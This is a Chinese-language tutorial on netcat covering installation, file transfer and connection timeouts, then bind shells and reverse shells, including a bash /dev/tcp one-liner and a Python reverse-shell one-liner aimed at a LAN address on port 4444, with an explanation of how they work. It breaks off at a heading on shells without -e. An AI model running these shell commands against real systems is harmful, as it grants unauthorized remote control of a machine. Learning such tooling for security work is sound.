nc被誉为网络安全界的瑞士军刀,一个简单而有用的工具,通过使用TCP或UDP协议的网络连接去读写数据。
下载安装windows下下载地址:https://eternallybored.org/misc/netcat/
下载解压将nc.exe 复制到C:\Windows\System32的文件夹下cmd命令nc即可(也可以配环境变量)
linux下:管理员权限下apt-get install netcat,命令行nc查看是否安装成功
创建一个服务器端方法:
nc -l -p
创建一个客户端方法(连接服务器端)
nc [remote_addr] [remoteport]
netcat文件传输
创建服务器端:
nc -l -p 4444 > outfile.txt
其中outfile.txt是要接受到的文件
创建客户端:
nc 192.168.124.133 4444 < game.pcapng
其中game.pacpng是要发送的文件
其中如果服务端并没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待,直到连接上服务器,造成'假死'状态.
解决方法:设置等待时间
nc -w 3 [ip] [port]
设置等待时间3秒,超过3秒钟,客户端直接关闭等待连接。
netcat信息探测
端口扫描使用
好吧这个不和nmap一样蛮,其实和nmap是一个作者都利用tcp/ip来判断
创建服务器端:
ncat -l -e /bin/bash -p 4444-e 连接后执行执行某文件
其中/bin/bash是linux的shell解释器,连接后执行该文件,如果是windows要用来命令执行
ncat -l -e cmd.exe -p 4444
客户端连接:执行命令
nc -w 10 192.168.124.133 4444
服务器端:
nc -l -p 4444
连接端
nc [remote_ip] [remote_port] -e /bin/bash
windows下使用-e cmd.exe
ncat 192.168.124.133 4444 -e /bin/bash
反弹shell命令:
bash -I >& /dev/tcp/ip/port 0>&1
pc接受netcat命令:
nc -lvp port
netcat反弹shell(python)
服务器端:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.124.133',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
客户端:
nc -l -p 4444
首先使用socket与远程建立连接,具有了远程的文件描述符,可以使用s.fileno()来查看具体套接字建立的远程文件描述符。
os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,使用os的subprocess在本地开启了一个子进程,传入参数”-i” 使 bash 以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以实现反弹shell.
netcat反弹shell(不支持 -e)